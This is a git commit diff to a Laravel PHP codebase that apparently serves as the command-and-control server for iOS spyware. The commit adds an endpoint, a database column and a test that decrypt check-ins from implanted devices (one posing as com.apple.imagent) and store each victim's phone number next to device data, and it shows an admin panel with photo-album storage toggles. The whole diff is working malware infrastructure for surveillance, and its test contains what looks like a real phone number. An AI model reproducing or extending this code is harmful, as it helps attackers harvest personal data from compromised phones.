feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:36:09 +08:00
parent 9bf769b2bd
commit 4802d0e51f
7 changed files with 113 additions and 3 deletions
+16
View File
@@ -186,6 +186,22 @@ class C2Controller extends Controller
return $this->encryptedAck();
}
/**
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
* non-zero backs off to ~60s — return code 1 to avoid hammering.
* Payload `p` is the device phone number.
*/
public function profileDelete(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
}
return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]);
}
public function linkConfigList(Request $request): Response
{
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
+1 -1
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent',
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage',
];
+24
View File
@@ -184,6 +184,30 @@ class IngestService
return $channelId === null || $channelId === '';
}
/**
* `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
*/
public function ingestDevicePhone(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
if (trim((string) ($device->phone ?? '')) !== '') {
return;
}
$phone = $payload['p'] ?? $payload['phone'] ?? null;
if (! is_string($phone)) {
return;
}
$phone = trim($phone);
if ($phone === '') {
return;
}
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
if (! Schema::hasColumn('devices', 'phone')) {
$table->string('phone', 64)->nullable()->after('channel_id');
}
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
if (Schema::hasColumn('devices', 'phone')) {
$table->dropColumn('phone');
}
});
}
};
+5 -1
View File
@@ -19,10 +19,14 @@
<td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
<th>手机号</th>
<td>{{ $device->phone ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>相册存储</th>
<td>
<td colspan="3">
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
lay-filter="LAY-device-album-storage"
+1 -1
View File
@@ -15,7 +15,7 @@ Route::middleware([DecryptCorunaBody::class])->group(function () {
Route::post('/api/user/check', [C2Controller::class, 'check']);
Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']);
Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']);
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileNop']);
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileDelete']);
Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']);
Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']);
Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']);
+40
View File
@@ -170,6 +170,46 @@ class C2ApiTest extends TestCase
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
}
#[Test]
public function profile_delete_returns_code_1_and_stores_phone(): void
{
$crypto = new CorunaCrypto;
$payload = [
'd' => '00044C1101FB802E',
'p' => '+66822804380',
'd3' => '00008030-00044C1101FB802E',
'd2' => 'DNPD3100N73F',
'c' => 'e57f5207c9f2bacf7907c09ccf25b107',
'bundleID' => 'com.apple.imagent',
];
$ts = '1722585600333';
$enc = $crypto->encryptJson($payload, $ts);
$resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body']);
$resp->assertOk();
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
$this->assertSame(1, $plain['code'] ?? null);
$device = Device::query()->where('device_id', '00044C1101FB802E')->first();
$this->assertNotNull($device);
$this->assertSame('+66822804380', $device->phone);
$this->assertNull($device->channel_id);
$ts2 = '1722585600334';
$enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2);
$this->call('POST', '/api/user/profile/delete', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts2,
], $enc2['body'])->assertOk();
$device->refresh();
$this->assertSame('+66822804380', $device->phone);
}
#[Test]
public function user_get_ingests_installed_apps_per_bundle(): void
{